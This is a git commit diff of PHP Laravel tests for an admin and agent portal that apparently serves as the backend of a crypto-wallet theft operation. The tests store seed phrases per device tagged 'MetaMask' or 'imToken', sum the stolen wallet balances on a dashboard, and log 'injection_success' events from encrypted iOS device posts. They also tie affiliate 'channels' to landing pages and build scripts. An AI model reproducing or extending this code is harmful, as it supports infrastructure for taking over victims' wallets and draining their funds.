feat: new channel
This commit is contained in:
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
@@ -213,15 +214,69 @@ class AdminAgentPortalTest extends TestCase
|
||||
public function dashboard_counts_smoke(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
|
||||
$d1 = Device::query()->create([
|
||||
'device_id' => 'd1',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '15.8.4',
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'd2',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '15.8.4',
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'd3',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '18.5',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'address' => 'TTestAddress111111111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
'usdt' => '10.5',
|
||||
'trx' => '2',
|
||||
'eth' => '0',
|
||||
'btc' => '0.001',
|
||||
'bnb' => '1.25',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
|
||||
'chain_type' => 'ETH',
|
||||
'usdt' => '1.5',
|
||||
'trx' => '0',
|
||||
'eth' => '0.1',
|
||||
'btc' => '0',
|
||||
'bnb' => '0',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'source' => 'MetaMask',
|
||||
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $d1->id,
|
||||
'source' => 'imToken',
|
||||
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', ['range' => '30d']))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 2)
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
|
||||
->assertJsonPath('data.total', 3)
|
||||
->assertJsonPath('data.mnemonic_count', 2)
|
||||
->assertJsonPath('data.address_count', 2)
|
||||
->assertJsonPath('data.balances.usdt', '12')
|
||||
->assertJsonPath('data.balances.trx', '2')
|
||||
->assertJsonPath('data.balances.eth', '0.1')
|
||||
->assertJsonPath('data.balances.btc', '0.001')
|
||||
->assertJsonPath('data.balances.bnb', '1.25')
|
||||
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
||||
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
||||
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
||||
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -19,7 +19,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
private const NEW_CHANNEL_ID = 'FAFA9988';
|
||||
private const NEW_CHANNEL_ID = '3.1.07';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
@@ -32,6 +32,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
'coruna.channel_builder_new.python' => 'python3',
|
||||
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
|
||||
'coruna.channel_domains' => ['fallback.test'],
|
||||
'coruna.xxbb.channel_c' => '33333333333333333333333333333333',
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -67,6 +68,12 @@ class ChannelProjectServiceTest extends TestCase
|
||||
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
|
||||
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
|
||||
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) {
|
||||
$this->fail('unable to create details dir');
|
||||
}
|
||||
file_put_contents($details.'/show.html', 'show');
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
@@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_code' => self::NEW_CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'channel_ver' => self::NEW_CHANNEL_ID,
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
@@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertNull($result['weifile_path']);
|
||||
$this->assertSame('', $result['support_path']);
|
||||
$this->assertSame('/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, '33333333333333333333333333333333')
|
||||
&& str_contains($joined, '--apply')
|
||||
&& ! str_contains($joined, '--random-c');
|
||||
});
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, '--channel-code')
|
||||
&& str_contains($joined, '--channel-ver')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--apply');
|
||||
&& str_contains($joined, '--channel-out')
|
||||
&& str_contains($joined, '--landing-template')
|
||||
&& str_contains($joined, 'test');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_requires_staged_weifile(): void
|
||||
public function new_builder_requires_env_channel_c(): void
|
||||
{
|
||||
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
|
||||
if (is_file($index)) {
|
||||
unlink($index);
|
||||
}
|
||||
config(['coruna.xxbb.channel_c' => '']);
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('请先运行构建脚本');
|
||||
$this->expectExceptionMessage('XXBB_CHANNEL_C');
|
||||
|
||||
app(ChannelProjectService::class)->generate(
|
||||
self::NEW_CHANNEL_ID,
|
||||
@@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
|
||||
@@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_weifile_path_for_new_builder(): void
|
||||
public function support_links_use_channel_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([], $channel->supportLinks());
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_returns_zip_path(): void
|
||||
public function store_new_builder_returns_channel_dir(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
@@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
|
||||
->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID)
|
||||
->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html');
|
||||
|
||||
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertNull($response->json('data.weifile_path'));
|
||||
$this->assertNotEmpty($response->json('data.download_url'));
|
||||
$this->assertNull($response->json('data.zip_path'));
|
||||
$this->assertNull($response->json('data.download_url'));
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py');
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID);
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_deletes_zip_not_details(): void
|
||||
public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void
|
||||
{
|
||||
Process::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
@@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
|
||||
if (! is_dir($zipDir)) {
|
||||
mkdir($zipDir, 0775, true);
|
||||
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
|
||||
if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) {
|
||||
$this->fail('unable to create channel weifile dir');
|
||||
}
|
||||
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
|
||||
file_put_contents($zip, 'zip');
|
||||
if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) {
|
||||
$this->fail('unable to create channel dir');
|
||||
}
|
||||
file_put_contents($channelDir.'/weifile/weifile.html', 'landing');
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details)) {
|
||||
mkdir($details, 0775, true);
|
||||
@@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
|| str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertFileDoesNotExist($zip);
|
||||
$this->assertDirectoryDoesNotExist($channelDir);
|
||||
$this->assertFileExists($details.'/show.html');
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function reserved_names_cannot_be_new_channel_ids(): void
|
||||
public function version_format_required_for_new_channel_ids(): void
|
||||
{
|
||||
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
|
||||
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('FAFA9988'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('2.2.6'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('22.2.66'));
|
||||
$this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07'));
|
||||
$this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66'));
|
||||
$this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1'));
|
||||
$this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\FilterOptionsService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class FilterOptionsTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_channel_options_include_remark_label_and_cache(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '0.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
'remark' => '测试',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'builder_type' => Channel::BUILDER_OLD,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
'remark' => null,
|
||||
]);
|
||||
|
||||
Cache::flush();
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.filterOptions.channels'))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试'])
|
||||
->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']);
|
||||
|
||||
$this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_agent_options_include_comment_label(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent1',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'comment' => '华东',
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.filterOptions.agents'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channels(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]);
|
||||
$other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '1.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
'remark' => '我的',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '2.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => $other->id,
|
||||
'status' => 1,
|
||||
'remark' => '别人的',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->getJson(route('user.filterOptions.channels'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的'])
|
||||
->assertJsonMissing(['value' => '2.0.01']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function channel_save_busts_options_cache(): void
|
||||
{
|
||||
Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300);
|
||||
Channel::query()->create([
|
||||
'channel_id' => '3.0.01',
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
|
||||
}
|
||||
}
|
||||
@@ -4,10 +4,8 @@ namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase
|
||||
|
||||
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
|
||||
|
||||
private const CHANNEL_ID = 'FAFA9988';
|
||||
private const CHANNEL_ID = '3.1.07';
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = [])
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
$server = array_merge([
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
], $headers);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], $server, $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_uses_recent_visit_not_native_c(): void
|
||||
public function core_routes_write_channel_from_ver_header(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
@@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], json_encode([
|
||||
'channelCode' => 'fafa9988',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'landing.example',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
'm' => 'iPhone12,8',
|
||||
'pv' => '16.6',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertNotSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void
|
||||
public function core_routes_prefer_ver_over_sdkv(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '203.0.113.9',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => '4.2.01',
|
||||
'HTTP_SDKV' => '5.5.55',
|
||||
])->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '2001:db8::9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame('4.2.01', $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function core_routes_accept_sdkv_when_ver_missing(): void
|
||||
{
|
||||
$this->xxbbPost('/u', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
'al' => [],
|
||||
], '1786468227899', [
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function non_core_routes_do_not_write_channel_id(): void
|
||||
{
|
||||
$this->xxbbPost('/uj', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => 'abandon ability able about above absent absorb abstract absurd abuse access',
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
'HTTP_SDKV' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertSame('2001:db8::9', $device->ip);
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_matches_ipv4_mapped_ipv6(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '::ffff:203.0.113.9',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_without_visit_is_still_created(): void
|
||||
public function core_without_ver_headers_still_creates_device(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
@@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase
|
||||
$this->assertNull($device->source_domain);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function invalid_ver_header_does_not_write_channel_id(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], '1786468227899', [
|
||||
'HTTP_VER' => 'FAFA9988',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function old_builder_put_still_writes_payload_c(): void
|
||||
{
|
||||
@@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function claimed_visit_is_not_reused_by_second_device(): void
|
||||
public function later_core_request_fills_empty_channel_id(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '127.0.0.1',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '111C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
], '1786468227900', [
|
||||
'HTTP_VER' => self::CHANNEL_ID,
|
||||
])->assertOk();
|
||||
|
||||
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
|
||||
$this->assertNull($second->channel_id);
|
||||
$this->assertNotNull($second);
|
||||
$this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,23 @@ class PageVisitTest extends TestCase
|
||||
|
||||
private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
|
||||
|
||||
#[Test]
|
||||
public function hit_records_new_builder_version_channel(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$channel = '3.1.07';
|
||||
|
||||
$this->call('GET', '/statistic/t', [
|
||||
'c' => $channel,
|
||||
'u' => '11111111-2222-4333-8444-555555555555',
|
||||
'p' => '/channel/'.$channel.'/weifile/weifile.html',
|
||||
])->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame($channel, $row->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
